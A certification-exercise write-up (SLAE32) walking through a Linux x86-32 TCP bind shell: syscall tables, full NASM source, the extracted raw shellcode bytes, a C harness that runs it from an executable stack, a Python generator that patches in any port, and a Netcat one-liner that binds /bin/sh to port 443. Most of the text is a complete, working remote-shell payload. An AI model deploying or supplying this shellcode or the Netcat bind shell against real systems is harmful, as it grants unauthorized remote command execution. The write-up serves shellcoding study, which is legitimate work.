Assignment N°1 - TCP Bind Shell

Assignment Goals

1) Create a TCP Bindshell Shellcode for Linux x86-32.

2) The port number should be easily configurable.

3) Bonus if getting referenced in exploit-db or shell-storm.

TCP Bindshell Principle

In few words, a TCP Bindshell is a tiny server program that waits for new clients on a specific port.

When a new client connects to the server it will spawn a new shell (Ex: /bin/bash or /bin/sh) and "binds" its file descriptors stdin(0) stdout(1) stderr(2) to the new client socket.

Yes, a socket is nothing more than a file.

One infamous method to easily create a bindshell is to use Netcat as following:

root@local:# mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc -lvp 443 1>/tmp/backpipe

When you connect to port 443 (with any dumb client program ex: Netcat, Telnet) you will get remote control over shell instance.

user@local:$ nc 127.0.0.1 443

Example Result

Process

Method 1 - Classic

Required Syscalls

Below table is ordered by syscall execution order.

Decimal N° Hex N° Name
359 0x167 socket()
54 0x36 setsockopt()
361 0x169 bind()
363 0x16b listen()
364 0x16c accept4()
63 0x3f dup2()
11 0xb execve()

This technique is what we would use if we were coding a classic server program using higher language (C/C++, Pascal etc..).

It is more readable and convenient. We won't use that method for creating our bindshell shellcode, so we will just briefly enumerate required steps.

Steps

For this exercise we will rather manipulate sockets only using one famous syscall: socketcall().

Method 2 - socketcall()

Required Syscalls

Below table is ordered by syscall execution order.

Decimal N° Hex N° Name
102 0x66 socketcall()
63 0x3f dup2()
11 0xb execve()

Steps are exactly the same as for classical method (see above) but this time only with three distinct syscalls to achieve the same result.

We will replace socket(), setsockopt(), bind(), listen() and accept() only with socketcall() calls.

socketcall() usage schema

It requires three registers: eax, ebx and ecx

Call Number (Hex) Call Name Classic Equivalent
0x1 SYS_SOCKET socket()
0xd SYS_SETSOCKOPT setsockopt()
0xc SYS_BIND bind()
0x2 SYS_LISTEN listen()
0x3 SYS_ACCEPT accept()

Assembly Code Creation Plan

Objectives

Our objective wont be to create the smallest possible Shellcode.

Rather we will use more exotic things which requires more lengthy instructions.

We will only use push instruction one time in our code for preparing memory (nil memory). We will work manually on stack throughout the building of our shellcode.

Finally last objective is to enjoy building that exercise and prepare ourself to abuse of GDB ☕

Part I - Prepare Memory

The very first step of our code is to prepare the memory. We will makes sure that a bunch of lower stack addresses are initialized with zero (around 30 is far enough) to ensure the stack is clean before doing manual memory manipulations.

Some benefits include:

Part II - Create our Server

We now safely work on stack addresses, we can continue on building our server. Five steps are required so far.

Step 1 : Create Socket

Syscall socketcall() will be used with ebx set to 0x1 = SYS_SOCKET.

Additional parameters needs to be set on stack:

Stack (Low Address)
AF_INET = 2 (4B)
SOCK_STREAM = 1 (4B)
AUTO = 0 (4B)
*Debugging* : return value (eax register) must be non negative. The function returns a new socket.
Step 2 : Fix occasional "address already in use" error

Syscall socketcall() will be used with ebx set to 0xd = SYS_SETSOCKOPT.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
SOL_SOCKET = 1 (4B)
SO_REUSEADDR = 2 (4B)
addr_of(socketlen_t) (4B)
len(socketlen_t) = 4 (4B)

Debugging : return value (eax register) must be zero.

Step 3 : Associate local address to socket

Syscall socketcall() will be used with ebx set to 0xc = SYS_BIND.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
addr_of(sockaddr_in) (4B)
len(sockaddr_in) (4B)
AF_INET = 2 (2B)
Port Number = htons(443) (2B)
0 = INADDR_ANY(0.0.0.0)(4B)
0 (8B)

Debugging : return value (eax register) must be zero.

Step 4 : Listen for incoming connections

Syscall socketcall() will be used with ebx set to 0x2 = SYS_LISTEN.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
backlog = 0 (4B)

Debugging : return value (eax register) must be zero.

Step 5 : Acquire new client socket

Syscall socketcall() will be used with ebx set to 0x3 = SYS_ACCEPT.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
NULL (sockaddr)
NULL len(sockaddr)

Debugging : return value (eax register) must be non negative. Function returns a new client socket.

Part III - Duplicate File Descriptors

Our server is now willing to acquire new clients, we will now focus on "binding" acquired client socket with stdin(0), stdout(1) and stderr(2) file descriptors.

To do so, we will use the function dup2() designated by the syscall 0x3f

To avoid repeating code and increasing the shellcode size, we will loop from 0 to 2 (included).

for ($ecx = 0; $ecx <= 2; $ecx++){
    dup2(c_socket, $ecx)
}

Debugging : eax must be greater or equal to zero. On success value is equal to value placed in ecx register.

PART IV - Execute a new /bin/sh shell

This part focus on creating a classical execve() call to our desired shell. This syscall number is 0xb and as always placed inside eax register.

For pathname (ebx) we will push the string /bin/sh directly to stack. String slices must be aligned to 4 Bytes. Final string must be NULL terminated.

For argv (ecx), the best practice is to provide an address pointing to our shell string (/bin/sh)

Finally argc (edx) will be set to NULL because unused.

stack representation for ebx parameter

Stack (Low Address)
NULL (4B)
"hs//" (4B)
"nib/" (4B)

stack representation for ecx parameter

Stack (Low Address)
addr("/bin/sh")

Our recipe is now finished we can "safely" enter in the best part as fun as frustrating.

TCP Bind Assembly Code (NASM)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Filename : bindshell.nasm                         ;
; Author   : Jean-Pierre LESUEUR                    ;
; Website  : https://www.phrozen.io/                ;
; Email    : jplesueur@phrozen.io                   ;
; Twitter  : @DarkCoderSc                           ;
;                                                   ;
; --------------------------------------------------;
; SLAE32 Certification Exercise N°1                 ;
; (Pentester Academy).                              ; 
; https://www.pentesteracademy.com                  ;
; --------------------------------------------------;
;                                                   ;
; Purpose:                                          ;
; --------------------------------------------------;
; Bind Shell                                        ;
; Bind to 0.0.0.0:443 by default                    ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; nasm -f elf32 -o bindshell.o bindshell.nasm
; ld -o bindshell bindshell.o
; ./bindshell

global _start           

section .text

_start:
    mov ebp, esp

    xor eax, eax
    xor ebx, ebx
    xor edx, edx
    xor esi, esi                   ; will contain our socket handle

    ;--------------------------------------------------------------------
    ; fill 30 lower stack addresses with zero
    ; sufficient for our payload
    ;--------------------------------------------------------------------
    xor ecx, ecx
    mov cl, 0x1e

_zeromemory:
    push eax                        ; push 0x00000000 to stack

    loop _zeromemory

    mov esp, ebp                    ; stack pointer to initial location 

    ;--------------------------------------------------------------------
    ; socket()
    ;--------------------------------------------------------------------
    mov bl, 0x1                     ; SYS_SOCKET

    mov byte [esp-0x8], 0x1         ; SOCK_STREAM
    mov byte [esp-0xc], 0x2         ; AF_INET

    sub esp, 0xc
    mov ecx, esp

    mov al, 0x66                    ; socketcall() syscall number 
    int 0x80      

    mov esi, eax                    ; save new socket handle

    ;--------------------------------------------------------------------
    ; setsockopt()
    ;--------------------------------------------------------------------
    xor eax, eax
    add bl, 0xd                     ; SYS_SETSOCKOPT

    mov byte [esp-0x4], 0x4         ; length of socklen_t
    sub esp, 0x4

    mov dword [esp-0x4], esp        ; addr of socklen_t
    mov byte [esp-0x8], 0x2         ; SO_REUSEADDR
    mov byte [esp-0xc], 0x1         ; SOL_SOCKET
    mov dword [esp-0x10], esi       ; socket handle

    sub esp, 0x10

    mov ecx, esp

    mov al, 0x66                    ; socketcall() syscall number 
    int 0x80

    ;--------------------------------------------------------------------
    ; bind()
    ;--------------------------------------------------------------------
    xor eax, eax
    sub bl, 0xc                     ; SYS_BIND

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; struct sockaddr_in /* Size = 16B */ {       ;;
    ;   short    sin_family;        // 2B         ;;
    ;   unsigned short sin_port;    // 2B         ;;
    ;   long     s_addr;            // 4B         ;;
    ;   char     sin_zero[8];       // 8B         ;;
    ; }                                           ;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; prepare sockaddr_in struct

    mov al, 0x01
    mov ah, 0xbb
    mov word [esp-0xe], ax          ; port = 443
    mov byte [esp-0x10], 0x2        ; AF_INET

    xor eax, eax
    mov al, 0x10
    sub esp, eax

    mov byte [esp-0x4], 0x10        ; length sockaddr_in (16 Bytes)
    mov dword [esp-0x8], esp        ; addr of sockaddr_in

    mov dword [esp-0xc], esi        ; our socket handle

    sub esp, 0xc
    mov ecx, esp

    xor eax, eax
    mov al, 0x66                    ; socketcall() syscall number          
    int 0x80                  

    ;--------------------------------------------------------------------
    ; listen()
    ;--------------------------------------------------------------------
    add bl, 2                       ; SYS_LISTEN    

    mov dword [esp-0x8], esi        ; out socket handle

    sub esp, 0x8
    mov ecx, esp

    mov al, 0x66                    ; socketcall() syscall number          
    int 0x80           

    ;--------------------------------------------------------------------
    ; accept()
    ;--------------------------------------------------------------------
    inc bl                          ; SYS_ACCEPT

    mov [esp-0xc], esi              ; out socket handle

    sub esp, 0xc

    mov ecx, esp

    mov al, 0x66                    ; socketcall() syscall number  
    int 0x80           

    mov ebx, eax                    ; assign our new client socket to ebx

    ;--------------------------------------------------------------------
    ; dup2() : Loop from 0 to 2 
    ;          (stdin, stdout, stderr)
    ;--------------------------------------------------------------------
    xor ecx, ecx
_dup2:  
    xor eax, eax    

    mov al, 0x3f       
    int 0x80  

    inc cl
    cmp cl, 0x2
    jle _dup2     

    ;--------------------------------------------------------------------
    ; execve()
    ;--------------------------------------------------------------------
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx

    ; /bin/sh
    mov dword [esp-0x8], 0x68732f2f
    mov dword [esp-0xc], 0x6e69622f
    sub esp, 0xc

    mov ebx, esp

    sub esp, 0x4

    mov edx, esp

    mov dword [esp-0x4], ebx
    sub esp, 0x4

    mov ecx, esp

    mov al, 0xb                     ; execve() syscall number
    int 0x80

Compile and Test our Payload

user@local:$ nasm -f elf32 -o bindshell.o bindshell.nasm

user@local:$ ld -o bindshell bindshell.o

root@local:$ ./bindshell

Final Payload (Raw)

We will use a famous command from commandlinefu and extract opcodes from our binary.

user@local:$ objdump -d ./bindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'-v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' '

\x89\xe5\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x31\xc9\xb1\x1e\x50\xe2
\xfd\x89\xec\xb3\x01\xc6\x44\x24\xf8\x01\xc6\x44\x24\xf4\x02\x83
\xec\x0c\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x80\xc3\x0d\xc6
\x44\x24\xfc\x04\x83\xec\x04\x89\x64\x24\xfc\xc6\x44\x24\xf8\x02
\xc6\x44\x24\xf4\x01\x89\x74\x24\xf0\x83\xec\x10\x89\xe1\xb0\x66
\xcd\x80\x31\xc0\x80\xeb\x0c\xb0\x01\xb4\xbb\x66\x89\x44\x24\xf2
\xc6\x44\x24\xf0\x02\x31\xc0\xb0\x10\x29\xc4\xc6\x44\x24\xfc\x10
\x89\x64\x24\xf8\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\x31\xc0\xb0
\x66\xcd\x80\x80\xc3\x02\x89\x74\x24\xf8\x83\xec\x08\x89\xe1\xb0
\x66\xcd\x80\xfe\xc3\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\xb0\x66
\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9
\x02\x7e\xf3\x31\xc0\x31\xdb\x31\xc9\xc7\x44\x24\xf8\x2f\x2f\x73
\x68\xc7\x44\x24\xf4\x2f\x62\x69\x6e\x83\xec\x0c\x89\xe3\x83\xec
\x04\x89\xe2\x89\x5c\x24\xfc\x83\xec\x04\x89\xe1\xb0\x0b\xcd\x80

To ensure our shellcode is working when embedded inside a willingly vulnerable program, we will paste it inside our SLAE32 shellcode.c template file.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
    "\x89\xe5\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x31\xc9\xb1\x1e\x50\xe2"
    "\xfd\x89\xec\xb3\x01\xc6\x44\x24\xf8\x01\xc6\x44\x24\xf4\x02\x83"
    "\xec\x0c\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x80\xc3\x0d\xc6"
    "\x44\x24\xfc\x04\x83\xec\x04\x89\x64\x24\xfc\xc6\x44\x24\xf8\x02"
    "\xc6\x44\x24\xf4\x01\x89\x74\x24\xf0\x83\xec\x10\x89\xe1\xb0\x66"
    "\xcd\x80\x31\xc0\x80\xeb\x0c\xb0\x01\xb4\xbb\x66\x89\x44\x24\xf2"
    "\xc6\x44\x24\xf0\x02\x31\xc0\xb0\x10\x29\xc4\xc6\x44\x24\xfc\x10"
    "\x89\x64\x24\xf8\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\x31\xc0\xb0"
    "\x66\xcd\x80\x80\xc3\x02\x89\x74\x24\xf8\x83\xec\x08\x89\xe1\xb0"
    "\x66\xcd\x80\xfe\xc3\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\xb0\x66"
    "\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9"
    "\x02\x7e\xf3\x31\xc0\x31\xdb\x31\xc9\xc7\x44\x24\xf8\x2f\x2f\x73"
    "\x68\xc7\x44\x24\xf4\x2f\x62\x69\x6e\x83\xec\x0c\x89\xe3\x83\xec"
    "\x04\x89\xe2\x89\x5c\x24\xfc\x83\xec\x04\x89\xe1\xb0\x0b\xcd\x80";


main()
{
    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}

user@local:$ gcc shellcode.c -o shellcode -z execstack

root@local:$ ./shellcode

Shellcode Builder (Python3)

Last and not mandatory exercise goal is to propose a way to replace default TCP port number (in our case 443) with any ports from 0 to 65535.

This part is quite hard to explain so I wont promise it will be the clearer possible. Forgive me in advance.

We absolutely need to take care of two important things:

N°1

Port number needs to be converted in Big-Endian as required by documentation related to networking programming then hex encoded.

Output port needs to be inserted in reverse order inside our payload.

N°2

Lets imagine we have port 443 which gives 0xbb01 (converted and encoded), in this case everything is fine but what if we use a port converted and encoded as 0x0080, well it will be padded with a NULL character and it is punished by law to keep a NULL character inside our shellcode.


Solving first point is simple as using the htons() function from socket python library then classically encode output as hexadecimal string.

Solving the second issue requires more work (I particularly felt trolled by this part).

Fortunately this issue was anticipated in our code and voluntarily left unexplained until now.

mov al, 0x01
mov ah, 0xbb
mov word [esp-0xe], ax ; port = 443

A port number is a word (2 Bytes), to its must be greater or equal to 0x100 to be free of NULL character. Lets imagine if we were doing this way:

mov eax, 0xbb01
mov dword [esp-0xe], eax

This would result having two NULL characters since eax is a 4 bytes register and we are placing only two bytes inside.

In this specific case we could easily fix that issue with bellow code:

mov ax, 0xbb01
mov word [esp-0xe], ax

This will work if we are using a port above 0x100 but what if our TCP port is in the lower range. It will result to a NULL character ax is 2 bytes long and we are placing a single byte.

One solution is to move the port in two set of instructions.

First we move the first byte to the ah register, then we move the second byte to al register.

If we are using a port below 0x100, we will singly remove from our raw shellcode instruction mov al, ... (designated by opcodes \xb0\xb01).

Builder Code (Python3)

#!/usr/bin/python3

'''
    Jean-Pierre LESUEUR
    @DarkCoderSc

    jplesueur@phrozen.io
    https://www.phrozen.io

    ***
    SLAE32 Certification Exercise N°1
    (Pentester Academy).
    https://www.pentesteracademy.com
    ***

    Description:

    This python script will generate the final payload with desired TCP port number.
'''

import socket
import sys
from textwrap import wrap

shellcode = (
                "\\x89\\xe5\\x31\\xc0\\x31\\xdb\\x31\\xd2\\x31\\xf6\\x31\\xc9\\xb1\\x1e\\x50\\xe2"
                "\\xfd\\x89\\xec\\xb3\\x01\\xc6\\x44\\x24\\xf8\\x01\\xc6\\x44\\x24\\xf4\\x02\\x83"
                "\\xec\\x0c\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\x31\\xc0\\x80\\xc3\\x0d\\xc6"
                "\\x44\\x24\\xfc\\x04\\x83\\xec\\x04\\x89\\x64\\x24\\xfc\\xc6\\x44\\x24\\xf8\\x02"
                "\\xc6\\x44\\x24\\xf4\\x01\\x89\\x74\\x24\\xf0\\x83\\xec\\x10\\x89\\xe1\\xb0\\x66"
                "\\xcd\\x80\\x31\\xc0\\x80\\xeb\\x0c\\xb0\\x01\\xb4\\xbb\\x66\\x89\\x44\\x24\\xf2"
                "\\xc6\\x44\\x24\\xf0\\x02\\x31\\xc0\\xb0\\x10\\x29\\xc4\\xc6\\x44\\x24\\xfc\\x10"
                "\\x89\\x64\\x24\\xf8\\x89\\x74\\x24\\xf4\\x83\\xec\\x0c\\x89\\xe1\\x31\\xc0\\xb0"
                "\\x66\\xcd\\x80\\x80\\xc3\\x02\\x89\\x74\\x24\\xf8\\x83\\xec\\x08\\x89\\xe1\\xb0"
                "\\x66\\xcd\\x80\\xfe\\xc3\\x89\\x74\\x24\\xf4\\x83\\xec\\x0c\\x89\\xe1\\xb0\\x66"
                "\\xcd\\x80\\x89\\xc3\\x31\\xc9\\x31\\xc0\\xb0\\x3f\\xcd\\x80\\xfe\\xc1\\x80\\xf9"
                "\\x02\\x7e\\xf3\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xc7\\x44\\x24\\xf8\\x2f\\x2f\\x73"
                "\\x68\\xc7\\x44\\x24\\xf4\\x2f\\x62\\x69\\x6e\\x83\\xec\\x0c\\x89\\xe3\\x83\\xec"
                "\\x04\\x89\\xe2\\x89\\x5c\\x24\\xfc\\x83\\xec\\x04\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
            )

if len(sys.argv) != 2:
    print("Usage: ./gen_bindshell.py <port_number>")
else:
    tcp_port = int(sys.argv[1])

    if (tcp_port > 65535) or (tcp_port < 0):
        print("Invalid port number (0..65535)")
    else:
        #
        # Format port 
        #

        raw_port = ('{:04x}'.format(socket.htons(tcp_port)))        

        raw_port_1 = "\\x{}".format(raw_port[2:4])
        raw_port_2 = "\\x{}".format(raw_port[:2])           

        #
        # Modify existing shellcode (hundred of possibilities)      
        #

        if raw_port_1 == "\\x00":
            shellcode = shellcode.replace("\\xb0\\x01", "")             
        else:
            shellcode = shellcode.replace("\\xb0\\x01", "\\xb0{}".format(raw_port_1)) 

        shellcode = shellcode.replace("\\xb4\\xbb", "\\xb4{}".format(raw_port_2))


        #shellcode = shellcode.replace("\\x01\\xbb", patch)

        final_payload = "// Shellcode size = {}\n".format(int(len(shellcode) / 4))
        final_payload += "unsigned char code[] = \\\n"

        for l in wrap(shellcode, 64):
            final_payload += "\t\"{}\"\n".format(l)

        final_payload = final_payload[:-1] + ";"

        print(final_payload)

Usage

user@local:$ python3 ./gen_bindshell.py 1403

or

user@local:$ chmod +x gen_bindshell.py && ./gen_bindshell.py 1403

Replace output content to SLAE32 C shellcode.c template and see what happens when varying port number.

Exercise Solution Github Repository

https://github.com/DarkCoderSc/tcp-bindshell-shellcode-slae32

git clone https://github.com/DarkCoderSc/tcp-bindshell-shellcode-slae32.git

Afterword

Creating a TCP bindshell shellcode is straightforward but not an easy task.

It requires a solid comprehension of shellcoding and assembly throughout all steps. On the 7th exercises for passing the SLAE32 certification this is probably the most exausting part both for solving the challenge and explaning through this paper.

TCP Bindshells are not always the best choice because of privilege lacking / port filtering etc.. Using reverse shell is often a more effective and realistic technique and coincidentally it is the subject of next exercise 😊

Written the Oct. 14, 2020, 4:33 p.m. by Jean-Pierre LESUEUR

Updated: 3 months, 2 weeks ago.